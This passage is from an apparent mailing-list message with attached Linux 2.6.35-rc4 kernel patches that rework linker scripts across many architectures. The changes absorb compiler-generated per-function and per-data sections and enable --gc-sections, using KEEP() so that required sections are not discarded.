 /* file2alias.c */
 extern unsigned int cross_build;

--Boundary-00=_1exQMv9z7xuz/lL
Content-Type: text/x-diff;
  charset="us-ascii";
  name="linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch"

--- linux-2.6.35-rc4/arch/alpha/boot/bootloader.lds
+++ linux-2.6.35-rc4.new/arch/alpha/boot/bootloader.lds
@@ -4,17 +4,17 @@
 SECTIONS
 {
   . = 0x20000000;
-  .text : { *(.text) }
+  .text : { *(.text .text.*) }
   _etext = .;
   PROVIDE (etext = .);
-  .rodata : { *(.rodata) *(.rodata.*) }
-  .data : { *(.data) CONSTRUCTORS }
+  .rodata : { *(.rodata .rodata.*) }
+  .data : { *(.data .data.*) CONSTRUCTORS }
   .got : { *(.got) }
   .sdata : { *(.sdata) }
   _edata = .;
   PROVIDE (edata = .);
   .sbss : { *(.sbss) *(.scommon) }
-  .bss : { *(.bss) *(COMMON) }
+  .bss : { *(.bss .bss.*) *(COMMON) }
   _end = . ;
   PROVIDE (end = .);
 
--- linux-2.6.35-rc4/arch/arm/boot/bootp/bootp.lds
+++ linux-2.6.35-rc4.new/arch/arm/boot/bootp/bootp.lds
@@ -15,7 +15,7 @@
   .text : {
    _stext = .;
    *(.start)
-   *(.text)
+   *(.text .text.*)
    initrd_size = initrd_end - initrd_start;
    _etext = .;
   }
--- linux-2.6.35-rc4/arch/arm/boot/compressed/vmlinux.lds.in
+++ linux-2.6.35-rc4.new/arch/arm/boot/compressed/vmlinux.lds.in
@@ -29,12 +29,10 @@
   .text : {
     _start = .;
     *(.start)
-    *(.text)
-    *(.text.*)
+    *(.text .text.*)
     *(.fixup)
     *(.gnu.warning)
-    *(.rodata)
-    *(.rodata.*)
+    *(.rodata .rodata.*)
     *(.glue_7)
     *(.glue_7t)
     *(.piggydata)
--- linux-2.6.35-rc4/arch/arm/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/arm/kernel/vmlinux.lds.S
@@ -95,8 +95,7 @@
 			*(.fixup)
 #endif
 			*(.gnu.warning)
-			*(.rodata)
-			*(.rodata.*)
+			*(.rodata .rodata.*)
 			*(.glue_7)
 			*(.glue_7t)
 		*(.got)			/* Global offset table		*/
--- linux-2.6.35-rc4/arch/cris/boot/compressed/decompress_v10.lds
+++ linux-2.6.35-rc4.new/arch/cris/boot/compressed/decompress_v10.lds
@@ -12,19 +12,18 @@
 	.text :
 	{
 		_stext = . ;
-		*(.text)
-		*(.rodata)
-		*(.rodata.*)
+		*(.text .text.*)
+		*(.rodata .rodata.*)
 		_etext = . ;
 	} > dram
 	.data :
 	{
-		*(.data)
+		*(.data .data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
-		*(.bss)
+		*(.bss .bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
--- linux-2.6.35-rc4/arch/cris/boot/compressed/decompress_v32.lds
+++ linux-2.6.35-rc4.new/arch/cris/boot/compressed/decompress_v32.lds
@@ -12,19 +12,18 @@
 	.text :
 	{
 		_stext = . ;
-		*(.text)
-		*(.rodata)
-		*(.rodata.*)
+		*(.text .text.*)
+		*(.rodata .rodata.*)
 		_etext = . ;
 	} > dram
 	.data :
 	{
-		*(.data)
+		*(.data .data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
-		*(.bss)
+		*(.bss .bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
--- linux-2.6.35-rc4/arch/cris/boot/rescue/rescue_v10.lds
+++ linux-2.6.35-rc4.new/arch/cris/boot/rescue/rescue_v10.lds
@@ -9,12 +9,12 @@
 	.text :
 	{
 		stext = . ;
-		*(.text)
+		*(.text .text.*)
 		etext = . ;
 	} > flash
 	.data :
 	{
-		*(.data)
+		*(.data .data.*)
 		edata = . ;
 	} > flash
 }
--- linux-2.6.35-rc4/arch/cris/boot/rescue/rescue_v32.lds
+++ linux-2.6.35-rc4.new/arch/cris/boot/rescue/rescue_v32.lds
@@ -16,21 +16,20 @@
 	.text :
 	{
 		_stext = . ;
-		*(.text)
+		*(.text .text.*)
 		*(.init.text)
-		*(.rodata)
-		*(.rodata.*)
+		*(.rodata .rodata.*)
 		_etext = . ;
 	} > bootblk
 	.data :
 	{
-		*(.data)
+		*(.data .data.*)
 		_edata = . ;
 	} > bootblk
 	.bss :
 	{
 		_bss = . ;
-		*(.bss)
+		*(.bss .bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > intmem
 
--- linux-2.6.35-rc4/arch/frv/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/frv/kernel/vmlinux.lds.S
@@ -114,7 +114,7 @@
 
   .sbss		: { *(.sbss .sbss.*) }
   .bss		: { *(.bss .bss.*) }
-  .bss..stack	: { *(.bss) }
+  .bss..stack	: { *(.bss) } /* BUG??? we already absorbed it into .bss */
 
   __bss_stop = .;
   _end = . ;
--- linux-2.6.35-rc4/arch/h8300/boot/compressed/vmlinux.lds
+++ linux-2.6.35-rc4.new/arch/h8300/boot/compressed/vmlinux.lds
@@ -5,13 +5,13 @@
         __stext = . ;
 	__text = .;
 	       *(.text..startup)
-	       *(.text)
+	       *(.text .text.*)
         __etext = . ;
         }
 
 	.rodata :
 	{
-		*(.rodata)
+		*(.rodata .rodata.*)
 	}
         .data :
 
--- linux-2.6.35-rc4/arch/h8300/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4.new/arch/h8300/boot/compressed/vmlinux.scr
@@ -3,7 +3,7 @@
   .data : {
 	_input_len = .;
 	LONG(_input_data_end - _input_data) _input_data = .;
-	*(.data)
+	*(.data .data.*)
 	_input_data_end = .;
 	}
 }
--- linux-2.6.35-rc4/arch/ia64/hp/sim/boot/bootloader.lds
+++ linux-2.6.35-rc4.new/arch/ia64/hp/sim/boot/bootloader.lds
@@ -7,13 +7,13 @@
   . = 0x100000;
 
   _text = .;
-  .text : { *(__ivt_section) *(.text) }
+  .text : { *(__ivt_section) *(.text .text.*) }
   _etext = .;
 
   /* Global data */
   _data = .;
-  .rodata : { *(.rodata) *(.rodata.*) }
-  .data    : { *(.data) *(.gnu.linkonce.d*) CONSTRUCTORS }
+  .rodata : { *(.rodata .rodata.*) }
+  .data    : { *(.data .data.*) *(.gnu.linkonce.d*) CONSTRUCTORS }
   __gp = ALIGN (8) + 0x200000;
   .got           : { *(.got.plt) *(.got) }
   /* We want the small data sections together, so single-instruction offsets
@@ -24,7 +24,7 @@
 
   __bss_start = .;
   .sbss      : { *(.sbss) *(.scommon) }
-  .bss       : { *(.bss) *(COMMON) }
+  .bss       : { *(.bss .bss.*) *(COMMON) }
   . = ALIGN(64 / 8);
   __bss_stop = .;
   _end = . ;
--- linux-2.6.35-rc4/arch/ia64/kernel/gate.lds.S
+++ linux-2.6.35-rc4.new/arch/ia64/kernel/gate.lds.S
@@ -54,10 +54,10 @@
 	.IA_64.unwind_info	: { *(.IA_64.unwind_info*) }
 	.IA_64.unwind		: { *(.IA_64.unwind*) }	:readable	:unwind
 #ifdef HAVE_BUGGY_SEGREL
-	.text (GATE_ADDR + PAGE_SIZE) : { *(.text) *(.text.*) }	:readable
+	.text (GATE_ADDR + PAGE_SIZE) : { *(.text .text.*) }	:readable
 #else
 	. = ALIGN(PERCPU_PAGE_SIZE) + (. & (PERCPU_PAGE_SIZE - 1));
-	.text			: { *(.text) *(.text.*) }	:epc
+	.text			: { *(.text .text.*) }	:epc
 #endif
 
 	/DISCARD/		: {
--- linux-2.6.35-rc4/arch/ia64/scripts/check-segrel.lds
+++ linux-2.6.35-rc4.new/arch/ia64/scripts/check-segrel.lds
@@ -1,9 +1,9 @@
 SECTIONS {
 	. = SIZEOF_HEADERS;
-	.rodata : { *(.rodata) } :ro
+	.rodata : { *(.rodata .rodata.*) } :ro
 	.note : { *(.note*) }
 	. = 0xa0000;
-	.data : { *(.data) } :dat
+	.data : { *(.data .data.*) } :dat
 	/DISCARD/ : { *(*) }
 }
 PHDRS {
--- linux-2.6.35-rc4/arch/m32r/boot/compressed/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/m32r/boot/compressed/vmlinux.lds.S
@@ -6,12 +6,12 @@
   . = CONFIG_MEMORY_START + 0x00400000;
 
   _text = .;
-  .text : { *(.text) } = 0
-  .rodata : { *(.rodata) *(.rodata.*) }
+  .text : { *(.text .text.*) } = 0
+  .rodata : { *(.rodata .rodata.*) }
   _etext = .;
 
   . = ALIGN(32 / 8);
-  .data : { *(.data) }
+  .data : { *(.data .data.*) }
   . = ALIGN(32 / 8);
   _got = .;
   .got  : { *(.got) _egot = .; *(.got.*) }
@@ -19,7 +19,7 @@
 
   . = ALIGN(32 / 8);
   __bss_start = .;
-  .bss : { *(.bss) *(.sbss) }
+  .bss : { *(.bss .bss.*) *(.sbss) }
   . = ALIGN(32 / 8);
   _ebss = .;
   . = ALIGN(4096);
--- linux-2.6.35-rc4/arch/m32r/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4.new/arch/m32r/boot/compressed/vmlinux.scr
@@ -2,7 +2,7 @@
 {
   .data : {
 	zimage_data = .;
-	*(.data)
+	*(.data .data.*)
 	zimage_data_end = .;
 	}
   zimage_len = zimage_data_end - zimage_data;
--- linux-2.6.35-rc4/arch/m68knommu/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/m68knommu/kernel/vmlinux.lds.S
@@ -75,7 +75,7 @@
 		*(__ex_table)
 		__stop___ex_table = .;
 
-		*(.rodata) *(.rodata.*)
+		*(.rodata .rodata.*)
 		*(__vermagic)		/* Kernel version magic */
 		*(__markers_strings)
 		*(.rodata1)
@@ -168,7 +168,7 @@
 	.bss : {
 		. = ALIGN(4);
 		_sbss = . ;
-		*(.bss)
+		*(.bss .bss.*)
 		*(COMMON)
 		. = ALIGN(4) ;
 		_ebss = . ;
--- linux-2.6.35-rc4/arch/mips/lasat/image/romscript.normal
+++ linux-2.6.35-rc4.new/arch/mips/lasat/image/romscript.normal
@@ -11,7 +11,7 @@
 
   .data ALIGN(0x10) :
   {
-    *(.data)
+    *(.data .data.*)
   }
   _image_start = ADDR(.data);
   _image_size = SIZEOF(.data);
--- linux-2.6.35-rc4/arch/mn10300/boot/compressed/vmlinux.lds
+++ linux-2.6.35-rc4.new/arch/mn10300/boot/compressed/vmlinux.lds
@@ -3,7 +3,7 @@
   .data : {
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
-	*(.data)
+	*(.data .data.*)
 	input_data_end = .;
 	}
 }
--- linux-2.6.35-rc4/arch/parisc/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/parisc/kernel/vmlinux.lds.S
@@ -111,7 +111,7 @@
 		*(.data..vm0.pte)
 	}
 	.bss : {
-		*(.bss)
+		*(.bss .bss.*)
 		*(COMMON)
 	}
 	__bss_stop = .;
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.coff.lds.S
+++ linux-2.6.35-rc4.new/arch/powerpc/boot/zImage.coff.lds.S
@@ -6,7 +6,7 @@
   _start = .;
   .text      :
   {
-    *(.text)
+    *(.text .text.*)
     *(.fixup)
   }
   _etext = .;
@@ -40,7 +40,7 @@
   .bss       :
   {
    *(.sbss)
-   *(.bss)
+   *(.bss .bss.*)
   }
   _end = . ;
 
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.lds.S
+++ linux-2.6.35-rc4.new/arch/powerpc/boot/zImage.lds.S
@@ -6,7 +6,7 @@
   _start = .;
   .text      :
   {
-    *(.text)
+    *(.text .text.*)
     *(.fixup)
   }
   _etext = .;
@@ -44,7 +44,7 @@
   .bss       :
   {
    *(.sbss)
-   *(.bss)
+   *(.bss .bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
--- linux-2.6.35-rc4/arch/powerpc/boot/zImage.ps3.lds.S
+++ linux-2.6.35-rc4.new/arch/powerpc/boot/zImage.ps3.lds.S
@@ -20,7 +20,7 @@
   _start = .;
   .text      :
   {
-    *(.text)
+    *(.text .text.*)
     *(.fixup)
   }
   _etext = .;
@@ -43,7 +43,7 @@
   .bss       :
   {
    *(.sbss)
-   *(.bss)
+   *(.bss .bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
--- linux-2.6.35-rc4/arch/sh/boot/compressed/vmlinux.scr
+++ linux-2.6.35-rc4.new/arch/sh/boot/compressed/vmlinux.scr
@@ -3,7 +3,7 @@
   .rodata..compressed : {
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
-	*(.data)
+	*(.data .data.*)
 	output_len = . - 4;
 	input_data_end = .;
 	}
--- linux-2.6.35-rc4/arch/sh/kernel/vsyscall/vsyscall.lds.S
+++ linux-2.6.35-rc4.new/arch/sh/kernel/vsyscall/vsyscall.lds.S
@@ -35,7 +35,7 @@
 	 */
 	. = 0x400;
 
-	.text		: { *(.text) } 			:text	=0x90909090
+	.text		: { *(.text .text.*) }		:text	=0x90909090
 	.note		: { *(.note.*) }		:text	:note
 	.eh_frame_hdr	: { *(.eh_frame_hdr ) }		:text	:eh_frame_hdr
 	.eh_frame	: {
--- linux-2.6.35-rc4/arch/x86/boot/setup.ld
+++ linux-2.6.35-rc4.new/arch/x86/boot/setup.ld
@@ -20,7 +20,7 @@
 	.initdata	: { *(.initdata) }
 	__end_init = .;
 
-	.text		: { *(.text) }
+	.text		: { *(.text .text.*) }
 	.text32		: { *(.text32) }
 
 	. = ALIGN(16);
@@ -45,7 +45,7 @@
 	.bss		:
 	{
 		__bss_start = .;
-		*(.bss)
+		*(.bss .bss.*)
 		__bss_end = .;
 	}
 	. = ALIGN(16);
--- linux-2.6.35-rc4/arch/x86/kernel/acpi/realmode/wakeup.lds.S
+++ linux-2.6.35-rc4.new/arch/x86/kernel/acpi/realmode/wakeup.lds.S
@@ -41,7 +41,7 @@
 	. = ALIGN(16);
 	.bss :	{
 		__bss_start = .;
-		*(.bss)
+		*(.bss .bss.*)
 		__bss_end = .;
 	}
 
--- linux-2.6.35-rc4/arch/x86/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/x86/kernel/vmlinux.lds.S
@@ -306,7 +306,7 @@
 	.bss : AT(ADDR(.bss) - LOAD_OFFSET) {
 		__bss_start = .;
 		*(.bss..page_aligned)
-		*(.bss)
+		*(.bss .bss.*)
 		. = ALIGN(4);
 		__bss_stop = .;
 	}
--- linux-2.6.35-rc4/arch/xtensa/boot/boot-elf/boot.lds.S
+++ linux-2.6.35-rc4.new/arch/xtensa/boot/boot-elf/boot.lds.S
@@ -10,19 +10,19 @@
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
-		*(.rodata)
+		*(.rodata .rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
-		*(.data)
+		*(.data .data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -57,7 +57,7 @@
 		*(.sbss)
 		*(.scommon)
 		*(.dynbss)
-		*(.bss)
+		*(.bss .bss.*)
 		__bss_end = .;
 	}
 	_end = .;
--- linux-2.6.35-rc4/arch/xtensa/boot/boot-redboot/boot.ld
+++ linux-2.6.35-rc4.new/arch/xtensa/boot/boot-redboot/boot.ld
@@ -8,19 +8,19 @@
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
-		*(.rodata)
+		*(.rodata .rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
-		*(.data)
+		*(.data .data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -55,7 +55,7 @@
 		*(.sbss)
 		*(.scommon)
 		*(.dynbss)
-		*(.bss)
+		*(.bss .bss.*)
 		__bss_end = .;
 	}
 	_end = .;
--- linux-2.6.35-rc4/include/asm-generic/vmlinux.lds.h
+++ linux-2.6.35-rc4.new/include/asm-generic/vmlinux.lds.h
@@ -140,9 +140,21 @@
 #define TRACE_SYSCALLS()
 #endif
 
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * arch/.../vmlinux.lds.S decides where to place various double-dot sections
+ * as needed by its arch, here DATA_DATA needs to be careful and collect
+ * only .data and .data.foo sections, skipping .data..foo
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 /* .data section */
 #define DATA_DATA							\
-	*(.data)							\
+	*(.data .data.[A-Za-z0-9_$^]*)					\
 	*(.ref.data)							\
 	DEV_KEEP(init.data)						\
 	DEV_KEEP(exit.data)						\
@@ -202,7 +214,7 @@
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start_rodata) = .;			\
-		*(.rodata) *(.rodata.*)					\
+		*(.rodata .rodata.[A-Za-z0-9_$^]*)			\
 		*(__vermagic)		/* Kernel version magic */	\
 		*(__markers_strings)	/* Markers: strings */		\
 		*(__tracepoints_strings)/* Tracepoints: strings */	\
@@ -501,7 +513,7 @@
 	.bss : AT(ADDR(.bss) - LOAD_OFFSET) {				\
 		*(.bss..page_aligned)					\
 		*(.dynbss)						\
-		*(.bss)							\
+		*(.bss .bss.[A-Za-z0-9_$^]*)				\
 		*(COMMON)						\
 	}
 

--Boundary-00=_1exQMv9z7xuz/lL
Content-Type: text/x-diff;
  charset="us-ascii";
  name="linux-2.6.35-rc4-fs.fix-ko-module-linker-script.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fs.fix-ko-module-linker-script.patch"

--- linux-2.6.35-rc4/scripts/module-common.lds
+++ linux-2.6.35-rc4.new/scripts/module-common.lds
@@ -3,6 +3,29 @@
  * Archs are free to supply their own linker scripts.  ld will
  * combine them automatically.
  */
+
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * Since this script does not specify what to do with double-dot sections,
+ * ld -r will coalesce all .data..foo input sections into one .data..foo
+ * output section, all .data..bar input sections into one .data..bar
+ * output section and so on. This is exactly what we want.
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 SECTIONS {
+
+	/* Coalesce sections produced by gcc -ffunction-sections */
+	.text   0 : AT(0) { *(.text .text.[A-Za-z0-9_$^]*) }
+
+	/* Coalesce sections produced by gcc -fdata-sections */
+	.rodata 0 : AT(0) { *(.rodata .rodata.[A-Za-z0-9_$^]*) }
+	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
+	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
+
 	/DISCARD/ : { *(.discard) }
 }

--Boundary-00=_1exQMv9z7xuz/lL
Content-Type: text/x-diff;
  charset="us-ascii";
  name="linux-2.6.35-rc4-fsgs.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fsgs.patch"

--- linux-2.6.35-rc4.fs/Makefile
+++ linux-2.6.35-rc4-fsgs.obj/Makefile
@@ -610,6 +610,8 @@
 LDFLAGS_vmlinux	+= $(call ld-option, -X,)
 endif
 
+LDFLAGS_vmlinux += --gc-sections
+
 # Default kernel image to build when no specific target is given.
 # KBUILD_IMAGE may be overruled on the command line or
 # set in the environment
@@ -705,7 +707,7 @@
 # Rule to link vmlinux - also used during CONFIG_KALLSYMS
 # May be overridden by arch/$(ARCH)/Makefile
 quiet_cmd_vmlinux__ ?= LD      $@
-      cmd_vmlinux__ ?= $(LD) $(LDFLAGS) $(LDFLAGS_vmlinux) -o $@ \
+      cmd_vmlinux__ ?= $(LD) $(LDFLAGS) $(LDFLAGS_vmlinux) -o $@ -Map $@.ldmap \
       -T $(vmlinux-lds) $(vmlinux-init)                          \
       --start-group $(vmlinux-main) --end-group                  \
       $(filter-out $(vmlinux-lds) $(vmlinux-init) $(vmlinux-main) vmlinux.o FORCE ,$^)
--- linux-2.6.35-rc4.fs/arch/arm/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/arm/kernel/vmlinux.lds.S
@@ -157,7 +157,7 @@
 		. = ALIGN(32);
 		__start___ex_table = .;
 #ifdef CONFIG_MMU
-		*(__ex_table)
+		KEEP(*(__ex_table))
 #endif
 		__stop___ex_table = .;
 
--- linux-2.6.35-rc4.fs/arch/blackfin/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/blackfin/kernel/vmlinux.lds.S
@@ -51,7 +51,7 @@
 
 		. = ALIGN(16);
 		___start___ex_table = .;
-		*(__ex_table)
+		KEEP(*(__ex_table))
 		___stop___ex_table = .;
 
 		__etext = .;
--- linux-2.6.35-rc4.fs/arch/cris/boot/rescue/rescue_v32.lds
+++ linux-2.6.35-rc4-fsgs.obj/arch/cris/boot/rescue/rescue_v32.lds
@@ -36,7 +36,7 @@
 	/* Get rid of stuff from EXPORT_SYMBOL(foo). */
 	/DISCARD/ :
 	{
-	        *(__ksymtab_strings)
-	        *(__ksymtab)
+		KEEP(*(__ksymtab_strings))
+		*(__ksymtab)
 	}
 }
--- linux-2.6.35-rc4.fs/arch/cris/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/cris/kernel/vmlinux.lds.S
@@ -72,7 +72,7 @@
 	.init.setup : { INIT_SETUP(16) }
 #ifdef CONFIG_ETRAX_ARCH_V32
 	__start___param = .;
-	__param : { *(__param) }
+	__param : { KEEP(*(__param)) }
 	__stop___param = .;
 #endif
 	.initcall.init : {
@@ -88,7 +88,7 @@
 #ifdef CONFIG_BLK_DEV_INITRD
 	.init.ramfs : {
 		__initramfs_start = .;
-		*(.init.ramfs)
+		KEEP(*(.init.ramfs))
 		__initramfs_end = .;
 	}
 #endif
--- linux-2.6.35-rc4.fs/arch/h8300/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/h8300/kernel/vmlinux.lds.S
@@ -112,7 +112,7 @@
 	. = ALIGN(0x4) ;
 	INIT_SETUP(0x4)
 	___setup_start = .;
-		*(.init.setup)
+		KEEP(*(.init.setup))
 	. = ALIGN(0x4) ;
 	___setup_end = .;
 	INIT_CALLS
--- linux-2.6.35-rc4.fs/arch/m68knommu/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/m68knommu/kernel/vmlinux.lds.S
@@ -72,7 +72,7 @@
 
 		. = ALIGN(16);          /* Exception table              */
 		__start___ex_table = .;
-		*(__ex_table)
+		KEEP(*(__ex_table))
 		__stop___ex_table = .;
 
 		*(.rodata .rodata.*)
@@ -129,16 +129,16 @@
 
 		/* Kernel symbol table: GPL-future symbols */
 		__start___kcrctab_gpl_future = .;
-		*(__kcrctab_gpl_future)
+		KEEP(*(__kcrctab_gpl_future))
 		__stop___kcrctab_gpl_future = .;
 
 		/* Kernel symbol table: strings */
-		*(__ksymtab_strings)
+		KEEP(*(__ksymtab_strings))
 
 		/* Built-in module parameters */
 		. = ALIGN(4) ;
 		__start___param = .;
-		*(__param)
+		KEEP(*(__param))
 		__stop___param = .;
 
 		. = ALIGN(4) ;
--- linux-2.6.35-rc4.fs/arch/microblaze/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/microblaze/kernel/vmlinux.lds.S
@@ -122,7 +122,7 @@
 
 	.init.ramfs ALIGN(4096) : AT(ADDR(.init.ramfs) - LOAD_OFFSET) {
 		__initramfs_start = .;
-		*(.init.ramfs)
+		KEEP(*(.init.ramfs))
 		__initramfs_end = .;
 		. = ALIGN(4);
 		LONG(0);
--- linux-2.6.35-rc4.fs/arch/mn10300/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/mn10300/kernel/vmlinux.lds.S
@@ -51,7 +51,7 @@
   . = ALIGN(PAGE_SIZE);
   .smp_locks : AT(ADDR(.smp_locks) - LOAD_OFFSET) {
   	__smp_locks = .;
-	*(.smp_locks)
+	KEEP(*(.smp_locks))
 	__smp_locks_end = .;
   }
 
@@ -62,9 +62,9 @@
   INIT_DATA_SECTION(16)
   . = ALIGN(4);
   __alt_instructions = .;
-  .altinstructions : { *(.altinstructions) }
+  .altinstructions : { KEEP(*(.altinstructions)) }
   __alt_instructions_end = .;
- .altinstr_replacement : { *(.altinstr_replacement) }
+ .altinstr_replacement : { KEEP(*(.altinstr_replacement)) }
   /* .exit.text is discard at runtime, not link time, to deal with references
      from .altinstructions and .eh_frame */
 	.exit.text : { EXIT_TEXT; }
--- linux-2.6.35-rc4.fs/arch/um/include/asm/common.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/um/include/asm/common.lds.S
@@ -76,10 +76,10 @@
   . = ALIGN(4);
   .altinstructions : {
 	__alt_instructions = .;
-	*(.altinstructions)
+	KEEP(*(.altinstructions))
 	__alt_instructions_end = .;
   }
-  .altinstr_replacement : { *(.altinstr_replacement) }
+  .altinstr_replacement : { KEEP(*(.altinstr_replacement)) }
   /* .exit.text is discard at runtime, not link time, to deal with references
      from .altinstructions and .eh_frame */
   .exit.text : { *(.exit.text) }
--- linux-2.6.35-rc4.fs/arch/x86/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/x86/kernel/vmlinux.lds.S
@@ -162,46 +162,46 @@
 
 	. = VSYSCALL_ADDR;
 	.vsyscall_0 : AT(VLOAD(.vsyscall_0)) {
-		*(.vsyscall_0)
+		KEEP(*(.vsyscall_0))
 	} :user
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.vsyscall_fn : AT(VLOAD(.vsyscall_fn)) {
-		*(.vsyscall_fn)
+		KEEP(*(.vsyscall_fn))
 	}
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.vsyscall_gtod_data : AT(VLOAD(.vsyscall_gtod_data)) {
-		*(.vsyscall_gtod_data)
+		KEEP(*(.vsyscall_gtod_data))
 	}
 
 	vsyscall_gtod_data = VVIRT(.vsyscall_gtod_data);
 	.vsyscall_clock : AT(VLOAD(.vsyscall_clock)) {
-		*(.vsyscall_clock)
+		KEEP(*(.vsyscall_clock))
 	}
 	vsyscall_clock = VVIRT(.vsyscall_clock);
 
 
 	.vsyscall_1 ADDR(.vsyscall_0) + 1024: AT(VLOAD(.vsyscall_1)) {
-		*(.vsyscall_1)
+		KEEP(*(.vsyscall_1))
 	}
 	.vsyscall_2 ADDR(.vsyscall_0) + 2048: AT(VLOAD(.vsyscall_2)) {
-		*(.vsyscall_2)
+		KEEP(*(.vsyscall_2))
 	}
 
 	.vgetcpu_mode : AT(VLOAD(.vgetcpu_mode)) {
-		*(.vgetcpu_mode)
+		KEEP(*(.vgetcpu_mode))
 	}
 	vgetcpu_mode = VVIRT(.vgetcpu_mode);
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.jiffies : AT(VLOAD(.jiffies)) {
-		*(.jiffies)
+		KEEP(*(.jiffies))
 	}
 	jiffies = VVIRT(.jiffies);
 
 	.vsyscall_3 ADDR(.vsyscall_0) + 3072: AT(VLOAD(.vsyscall_3)) {
-		*(.vsyscall_3)
+		KEEP(*(.vsyscall_3))
 	}
 
 	. = __vsyscall_0 + PAGE_SIZE;
@@ -252,12 +252,12 @@
 	. = ALIGN(8);
 	.altinstructions : AT(ADDR(.altinstructions) - LOAD_OFFSET) {
 		__alt_instructions = .;
-		*(.altinstructions)
+		KEEP(*(.altinstructions))
 		__alt_instructions_end = .;
 	}
 
 	.altinstr_replacement : AT(ADDR(.altinstr_replacement) - LOAD_OFFSET) {
-		*(.altinstr_replacement)
+		KEEP(*(.altinstr_replacement))
 	}
 
 	/*
@@ -290,7 +290,7 @@
 	. = ALIGN(PAGE_SIZE);
 	.smp_locks : AT(ADDR(.smp_locks) - LOAD_OFFSET) {
 		__smp_locks = .;
-		*(.smp_locks)
+		KEEP(*(.smp_locks))
 		. = ALIGN(PAGE_SIZE);
 		__smp_locks_end = .;
 	}
--- linux-2.6.35-rc4.fs/arch/x86/vdso/vdso-layout.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/x86/vdso/vdso-layout.lds.S
@@ -34,8 +34,8 @@
 	      *(.gnu.linkonce.b.*)
 	}
 
-	.altinstructions	: { *(.altinstructions) }
-	.altinstr_replacement	: { *(.altinstr_replacement) }
+	.altinstructions	: { KEEP(*(.altinstructions)) }
+	.altinstr_replacement	: { KEEP(*(.altinstr_replacement)) }
 
 	/*
 	 * Align the actual code well away from the non-instruction data.
--- linux-2.6.35-rc4.fs/include/asm-generic/vmlinux.lds.h
+++ linux-2.6.35-rc4-fsgs.obj/include/asm-generic/vmlinux.lds.h
@@ -229,25 +229,25 @@
 	/* PCI quirks */						\
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start_pci_fixups_early) = .;		\
-		*(.pci_fixup_early)					\
+		KEEP(*(.pci_fixup_early))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_early) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) = .;		\
-		*(.pci_fixup_header)					\
+		KEEP(*(.pci_fixup_header))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_final) = .;		\
-		*(.pci_fixup_final)					\
